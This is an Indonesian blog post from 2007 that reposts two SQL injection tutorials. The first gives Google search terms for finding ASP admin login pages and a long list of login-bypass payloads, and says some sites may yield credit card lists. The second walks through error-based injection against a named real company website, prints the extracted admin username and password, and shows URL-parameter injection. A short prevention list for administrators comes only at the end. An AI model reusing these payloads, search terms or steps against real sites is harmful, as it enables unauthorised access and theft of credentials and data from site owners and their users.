Bro Suer nih Mau Beasiswa Keluar Negeri Ngga?

look This man.. mey be you"ll need it..!!

Excuse me,,,,,,!!!!! i just want tell Your IP - - - -

Friday, June 22, 2007

<<< How To Sql Injection? >>>

Sedikit review about SQL injection

SQL Injection adalah memasukkan kode-kode SQL untuk mendapatkan akses

ke database yang lebih besar daripada yang seharusnya kita dapatkan,

terutama pada script yang tidak memvalidasi input dari user.



SQL Injection sebenarnya sudah sering dibahas dimana-mana, tetapi

ternyata masih banyak webmaster yang belum tahu atau tidak peduli

akan kelemahan ini.



Apa saja yang diperlukan untuk melakukan SQL Injection ?

1. Internet Explorer (wajib)

2. PC yang terhubung ke Internet (wajib, kecuali Anda mau hack PC

Anda sendiri)

3. Segelas kopi untuk menghilangkan rasa kantuk (optional)

4. Metallica (optional)



OK, langsung saja kita praktekkan, supaya lebih jelas.


Pertama bukalah [link] (google pancen oye) untuk mencari script yang

terhubung ke database. Masukkan salah satu keyword di bawah ini

(lengkap dengan tanda petiknya) :

“/admin.asp”

“/login.asp”

“/logon.asp”

“/adminlogin.asp”

“/adminlogon.asp”

“/admin_login.asp”

“/admin_logon.asp”

“/admin/admin.asp”

“/admin/login.asp”

“/admin/logon.asp”

“/admin/adminlogin.asp”

“/admin/adminlogon.asp”

“/admin/admin_login.asp”

“/admin/admin_logon.asp”

“/administrator/admin.asp”

“/administrator/login.asp”

“/administrator/logon.asp”

“root/login.asp”

“admin/index.asp”



Anda bisa menambahkan daftarnya berdasarkan kreatifitas Anda sendiri.

Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda

akan menjumpai sebuah halaman login (user name dan password).



Masukkan kode-kode berikut,

User name : ` or `a’='a

Password : ` or `a’='a

(termasuk tanda petiknya)



Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana

Anda bisa menambahkan berita, mengedit user yang lain, merubah about,

dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit

card yang banyak.



Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan

oleh google. Menurut pengalaman saya, dari sekitar 20 link yang saya

coba, ada satu atau dua yang berhasil.



Banyak variasi kode yang mungkin, antara lain :

User name : admin

Password : ` or `a’='a



Di bawah ini bisa dimasukkan baik ke user name maupun password :

‘ or 0=0 –

” or 0=0 –

or 0=0 –

‘ or 0=0 #

” or 0=0 #

or 0=0 #

‘ or ‘x’='x

” or “x”=”x
‘) or (’x'=’x

‘ or 1=1–
” or 1=1–
or 1=1–

‘ or a=a–
” or “a”=”a

‘) or (’a'=’a

“) or (”a”=”a

hi” or “a”=”a

hi” or 1=1 –

hi’ or 1=1 –

hi’ or ‘a’='a

hi’) or (’a'=’a

hi”) or (”a”=”a


Anda masih bisa memperpanjang daftarnya sesuai kreatifitas Anda.



Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan,

kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda

akan berhasil.



diambil dari tutorial yang tersebar di internet



=======================================================

Hingga Maret 2006, masih saja terdapat situs web di Republik Indonesia yang dibobol dengan teknik SQL Injection. Anda tahu betapa berbahaya bug yang satu ini ? Berikut akan kita sajikan step by step SQL Injection ini yang diambil dari langsung tulisan iko (iko94@yahoo.com)



Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.



Kita akan mengambil contoh di site www.pln-wilkaltim.co.id


Ada dua kelemahan di site ini, yaitu:

1. Tabel News

2. Tabel Admin



Langkah pertama, kita tentukan lubang mana yang bisa di-inject

dengan jalan berjalan-jalan (enumeration) dulu di site tsb.

Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat

alamat URL.



Kita ambil yang termudah dulu, dengan cara input box.

Kemudian kita cari kotak login yang untuk admin.

Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp

Langkah pertama untuk menentukan nama tabel dan fieldnya,

kita inject kotak NIP dengan perintah (password terserah, cabang

biarkan aja):

‘ having 1=1–

jangan lupa untuk menuliskan tanda kutip tunggal dan tanda

minus dobel (penting).

Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection

Kemudian akan keluar pesan error:

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.NOMOR’ is invalid in the select list because

it is not contained in an aggregate function and

there is no GROUP BY clause.

/sipm/admin/dologin.asp, line 7

——————–

Keluarlah nama field pertama kita !!!

Catat nama tabel : T_ADMIN
Catat nama field : NOMOR



Kemudian kita akan mencari nama field-field berikutnya,

beserta nama tabel yang mungkin berbeda-beda.

Kita inject di kotak NIP (password terserah):

‘ group by T_ADMIN.NOMOR having 1=1–
Akan keluar pesan error:

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

‘T_ADMIN.NIP’ is invalid in the select list because

it is not contained in either an aggregate

function or the GROUP BY clause.

/sipm/admin/dologin.asp, line 7

——————–

Artinya itulah nama tabel dan field kedua kita.

Catat : T_ADMIN.NIP



Kemudian kita cari field ke tiga :

‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1–

Akan keluar pesan error:

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

‘T_ADMIN.PASSWORD’ is invalid in the select list because

it is not contained in either an aggregate

function or the GROUP BY clause.

/sipm/admin/dologin.asp, line 7

——————–

Catat field ke tiga : T_ADMIN.PASSWORD


Lakukan langkah di atas sampai kita menemukan field terakhir.



Berikut adalah pesan error yang terjadi, jika kita mengecek

field terakhir dengan meng-inject:

‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,

T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ ADMIN.EMAIL

having 1=1–

(catatan : kalimat harus 1 baris, tidak dipotong)

——————–

- NIP atau Password atau Unit Anda salah !! -

——————–
Sukses !!! Kita berhasil menemukan field terakhir.

Daftar kolom (field):

T_ADMIN.NOMOR

T_ADMIN.NIP

T_ADMIN.PASSWORD

T_ADMIN.NAMA

T_ADMIN.KD_RANTING

T_ADMIN.ADDRESS

T_ADMIN.EMAIL

Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),

ini akan mempermudah proses kita selanjutnya.



Langkah berikutnya, kita menentukan jenis struktur field-

field tersebut di atas.



Kita inject di kotak NIP (pass terserah) :

‘ union select sum(NOMOR) from T_ADMIN–

Arti dari query tersebut adalah : kita coba menerapkan

klausa sum sebelum menentukan apakah jumlah kolom-kolom

di dua rowsets adalah sejenis.

Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)

yang berlaku untuk type kolom numerik, jadi untuk type kolom

yang bukan numerik, akan keluar error yang bisa memberitahu

kita jenis kolom yang dimaksud.

Pesan error :

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries

in an SQL statement containing a UNION operator must have

an equal number of expressions in their target lists.

/sipm/admin/dologin.asp, line 7

——————–

artinya kolom NOMOR berjenis numerik.



Berikutnya kita inject :

‘ union select sum(NIP) from T_ADMIN–

Akan keluar pesan error :

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum

or average aggregate operation cannot take a char data

type as an argument.

/sipm/admin/dologin.asp, line 7

——————–

Artinya kolom NIP bertype char.



Kita harus mengulang perintah di atas untuk kolom yang

berikutnya dengan jalan mengganti nama_kolom di :

‘ union select sum(nama_kolom) from T_ADMIN–

dengan kolom yang berikutnya.

Kita peroleh 7 type kolom:

T_ADMIN.NOMOR => numeric

T_ADMIN.NIP => char

T_ADMIN.PASSWORD => nvarchar

T_ADMIN.NAMA => char

T_ADMIN.KD_RANTING => char

T_ADMIN.ADDRESS => nvarchar

T_ADMIN.EMAIL => char



Langkah berikutnya, kita akan mencari isi kolom password,

untuk user admin, dengan meng-inject :

‘ union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’–

artinya kita memilih minimum nama user yang lebih besar dari ‘a’

dan mencoba meng-konvert-nya ke tipe integer.

Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.>Akan keluar pesan error :

——————–

Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax

error converting the varchar value ‘bill ‘ to

a column of data type int.

/sipm/admin/dologin.asp, line 7

——————–

Anda lihat :

varchar value ‘bill ‘

‘bill’ itu adalah nama user di record yang terakhir dimasukkan,

atau isi kolom NAMA di record yang terakhir dimasukkan.



Selanjutnya kita inject :

‘ union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where

NAMA = ‘bill’–

catatan : harus sebaris (tidak dipotong).

Akan keluar error :

———————

Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value ‘m@mpusk@u’ to a

column of data type int.

/sipm/admin/dologin.asp, line 7

———————

Artinya kita berhasil !!!

Kita dapatkan
[+] NAMA = bill

[+] PASSWORD = m@mpusk@u


Silahkan login ke :

www.pln-wilkaltim.co.id/sipm/admin/admin.asp

dengan account di atas, sedang nama cabang, silahkan anda

isi sendiri dengan cara coba-coba


Atau kita pakai jalan pintas saja….



Kita inject-kan :

‘ union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN

where NAMA =’bill’–

catatan : harus satu baris.

Duarrrrrr……….

Glhodhak………….

Langsung masuk ke menu admin.

Ingat : jangan buat kerusakan ! beritahu sang admin !!!



Lubang ke dua adalah pada bagian berita.

Pada dasarnya berita di situ adalah isi dari tabel yang

lain lagi. Jadi tetep bisa kita inject !!!

Bedanya, kita harus memasukkan parameter di alamat URL-nya.

Contoh :

http://www.pln-wilkaltim.co.id/dari_…&idm=40&idSM=2

ada parameter id dan idSM.

Setelah kita coba inject, ternyata yang berpengaruh adalah

parameter id aja (CMIIW).



Kita inject-kan :

www.pln-wilkaltim.co.id/dari_Media.asp?id=2119′ having 1=1–

akan keluar pesan error :

—————————

Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

‘tb_news.NewsId’ is invalid in the select list because

it is not contained in an aggregate function and

there is no GROUP BY clause.

/dari_Media.asp, line 58

—————————

artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kita

yang pertama.



Ulangi langkah-langkah kita di atas sampai didapatkan :

tb_news.NewsId => numeric

tb_news.NewsCatId => numeric

tb_news.EntryDate => datetime

tb_news.Title => nvarchar

tb_news.Content =>

tb_news.FotoLink =>

tb_news.FotoType => bit data

tb_news.review =>
tb_news.sumber => char

tb_news.dateagenda => datetime



Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan

pengetahuan anda.

Anda bisa men-insert berita yang bisa anda tentukan sendiri

isinya.



Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.



Perkiraan saya, nama-nama partai di situs KPU yang di-hack

oleh Shizoprenic, juga ada di tabel-tabel suatu database,

jadi tetep bisa dimasuki dengan cara SQL Injection ini.



******************************************************

KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!

******************************************************

Cara pencegahan yang umum digunakan :

1. Batasi panjang input box (jika memungkinkan), dengan

cara membatasinya di kode program, jadi si cracker pemula

akan bingung sejenak melihat input box nya gak bisa di

inject dengan perintah yang panjang.

2. Filter input yang dimasukkan oleh user, terutama penggunaan

tanda kutip tunggal (Input Validation).

3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.

4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,

Extended Stored Procedures jika memungkinkan.

5. Ubah “Startup and run SQL Server” menggunakan low privilege user

di SQL Server Security tab.



============================================

nb :


aku ambil ini dari virologi.info

dan ricisan.wordpress.com

No comments:

Look this man... mey be you"ll need it..

holiday-mails.com

- - - Kamu Pengunjung Ke - - -

- - - Click Icon To Know - - -